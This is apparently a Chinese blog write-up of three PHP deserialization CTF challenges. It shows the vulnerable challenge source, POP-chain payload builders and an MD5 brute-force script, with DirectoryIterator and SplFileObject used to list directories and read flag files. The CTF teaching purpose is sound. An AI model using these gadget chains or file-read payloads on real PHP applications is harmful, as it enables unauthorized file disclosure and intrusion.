CTF题型 php反序列化进阶(1) php原生类 例题和总结

CTF题型 php反序列化进阶(1) php原生文件操作类 例题和总结

文章目录

  • CTF题型 php反序列化进阶(1) php原生文件操作类 例题和总结
    • 特征
    • 原理 我们可以通过PHP自身本来就有的类来进行文件操作
      • 扫描目录的三个类
      • DirectoryIterator(支持glob://协议)
      • FilesystemIterator(继承自1,同上)
      • GlobIterator(相等于自带glob协议的DirectoryIterator)
      • 读取文件
    • 1.2023 安洵杯 easy_unserialize
      • 问题1 如何绕过双MD5
      • 问题2 保证条件判断为真
      • 问题3 绕过urlencode编码和base64编码相同
      • array_walk函数理解
      • $this 可以访问内部所有属性
    • 2.[GDOUCTF 2023]反方向的钟
      • 注意一点SplFileObject 默认 读一行 配合用 php://filter使用
    • 3.[ciscn国赛初赛 2021 easy_source]

特征

在php反序列化中 没有直接的利用点可以直接rce

而是echo new $a($b);

echo 可以触发类的 toString方法

new 新建类

a ( a( a(b) 类和参数可控

原理 我们可以通过PHP自身本来就有的类来进行文件操作

扫描目录的三个类

  1. DirectoryIterator(支持glob://协议)

    DirectoryIterator(glob://*flag*)

  2. FilesystemIterator(继承自1,同上)

  3. GlobIterator(相等于自带glob协议的DirectoryIterator)

存在__toString,可以获取符合要求的第一个文件名

一般题目会用 foreach 遍历读取每一行

读取文件

SplFileObject(通过echo触发SplFileObject中的**__toString()**方法)

注意几点

  1. 不支持glob协议必须先通过扫描目录拿完整文件名

  2. 仅读取一行内容(完整内容配合php://filter)

  3. 一般题目会用 foreach 遍历读取每一行输出flag内容

1.2023 安洵杯 easy_unserialize

题目环境:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/easy_unserialize

源码分析写在注释里了

注意一下比较冷门的考点

function __isset($name) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用
        echo 'isset '.$name.'<br>';
    }
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1) 4.调用__isset方法
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;//赋值
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()//8.调用__toString方法
    {
        $new = $this->l1;
        return $new();//将类作为函数调用
    }

    public function __get($arg1)//6.调用get方法
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)//3.触发 __unset方法
    {
        if(md5(md5($this->md5)) == 666)//判断双md5为666
        {
            if(empty($this->lll3->lll3)){//调用empty
                echo "There is noting"; 
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)//7.调用_call方法
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;//以字符显示
        }
    }
    public function __set($arg1,$arg2)//5.调用__set方法
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()//2.触发__wakeup魔术方法
    {
        unset($this->y1->y1); //触发unset
    }
}
class Flag{
    public function __invoke()//9.触发__invoke
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($make, $colo) {
            $three = new $colo($make);//特征
            foreach($three as $tmp){//遍历对象
            echo ($tmp.'<br>');
            }  
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);  //1.开始反序列化
}else{
    highlight_file(__FILE__);
}
?>

POP链

YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类

问题1 如何绕过双MD5

if(md5(md5($this->md5)) == 666)

编写脚本碰撞

发现单纯字母数字 md5(md5(结果))没有

因为这里是md5(md5($this->md5)) == 666弱比较

保证 666后第一个字符为任意字母,其他任意

import hashlib
import itertools

def brute_force_md5():
    # 使用字母表和数字进行字符的尝试
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
    # 迭代尝试所有可能的字符组合
    for text in itertools.product(charset, repeat=3):
        text = ''.join(text)
        hash1 = hashlib.md5(text.encode()).hexdigest()
        hash2 = hashlib.md5(hash1.encode()).hexdigest()
        # 检查是否满足条件
        if hash2.startswith("666") and hash2[3].isalpha():
            # 输出满足条件的字符串
            print("满足条件的字符串:", text + "(两次MD5加密后为:" + hash2 + ")")
            break

# 运行爆破
brute_force_md5()

image-20240314201341794

ag2

问题2 保证条件判断为真

      if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)

随便穿个字符 只要不为0即可

出题人想考 变量操作符 ${##}可以代替1

image-20240314205856669

问题3 绕过urlencode编码和base64编码相同

if(urldecode($this->arg1)===base64_decode($this->arg1))

1.数组绕过 []

2.传空值''

这里构造pop链时有一个细节

php>7后对 public,private不敏感

直接将private属性的成员变量替换为public

(PHP 4, PHP 5, PHP 7, PHP 8)

array_walk函数理解

— 使用用户自定义函数对数组中的每个元素做回调处理

参数 
1.array
输入的数组。 
2.callback
典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。 

这里的array_walk($this, function ($make, $colo) {

$this 可以访问内部所有属性

包括原生类 直接作为属性 即可作为数组 传递给匿名函数function ($make, $colo)

构造pop链 遍历 / 目录

//YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类
$you=new You();
$you->y1=new Luck();
$you->y1->md5='ag2';
$you->y1->lll3=new Good();
$you->y1->lll3->gg2='${##}';
$you->y1->lll3->g1=new To();
$you->y1->lll3->g1->tt2=new Luck();
$you->y1->lll3->g1->tt2->ll2=new To();
$you->y1->lll3->g1->tt2->ll2->arg1='';
$you->y1->lll3->g1->tt2->ll2->t1=new Luck();
$you->y1->lll3->g1->tt2->ll2->t1->l1=new Flag();
$you->y1->lll3->g1->tt2->ll2->t1->l1->DirectoryIterator='/';
echo(serialize($you));

可以拿到flag的名称 FfffLlllLaAaaggGgGg

image-20240314213000001

读取flag


//YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类
$you=new You();
$you->y1=new Luck();
$you->y1->md5='ag2';
$you->y1->lll3=new Good();
$you->y1->lll3->gg2='${##}';
$you->y1->lll3->g1=new To();
$you->y1->lll3->g1->tt2=new Luck();
$you->y1->lll3->g1->tt2->ll2=new To();
$you->y1->lll3->g1->tt2->ll2->arg1='';
$you->y1->lll3->g1->tt2->ll2->t1=new Luck();
$you->y1->lll3->g1->tt2->ll2->t1->l1=new Flag();
$you->y1->lll3->g1->tt2->ll2->t1->l1->SplFileObject='/FfffLlllLaAaaggGgGg';
echo(serialize($you));

image-20240314213241346

可以拿到flag

2.[GDOUCTF 2023]反方向的钟

复现环境:https://www.nssctf.cn/problem/3723

源码 这题直接flag位置都告诉我们了

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

简单的pop链

$school=new school();
$school->department=new classroom();
$school->department->name='one class';
$school->department->leader=new teacher('ing','department');
$school->headmaster='ong';
echo(base64_encode(serialize($school)));

注意一点SplFileObject 默认 读一行 配合用 php://filter使用

image-20240314214835814

image-20240314215022653

拿到flag

3.[ciscn国赛初赛 2021 easy_source]

没找到环境 有源码 本地搭建

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}
//class类实现 递增 $c的值
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

这题可以用原生类SplFileObject来做new $rc($ra, $rb);

但是我们要考虑第二个参数是什么

我们可以查阅php官方文档

image-20240314220454578

构造函数 第二的参数必须可以是’r’

$method->$rd() 考虑SplFileObject 的什么方法可以读文件

image-20240314220534651

发现SplFileObject存在 fpassthru静态方法 输出文件 内容

?rc=SplFileObject&ra=index.php&rb=r&rd=fpassthru

即可在源代码中发现flag

  • 27
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值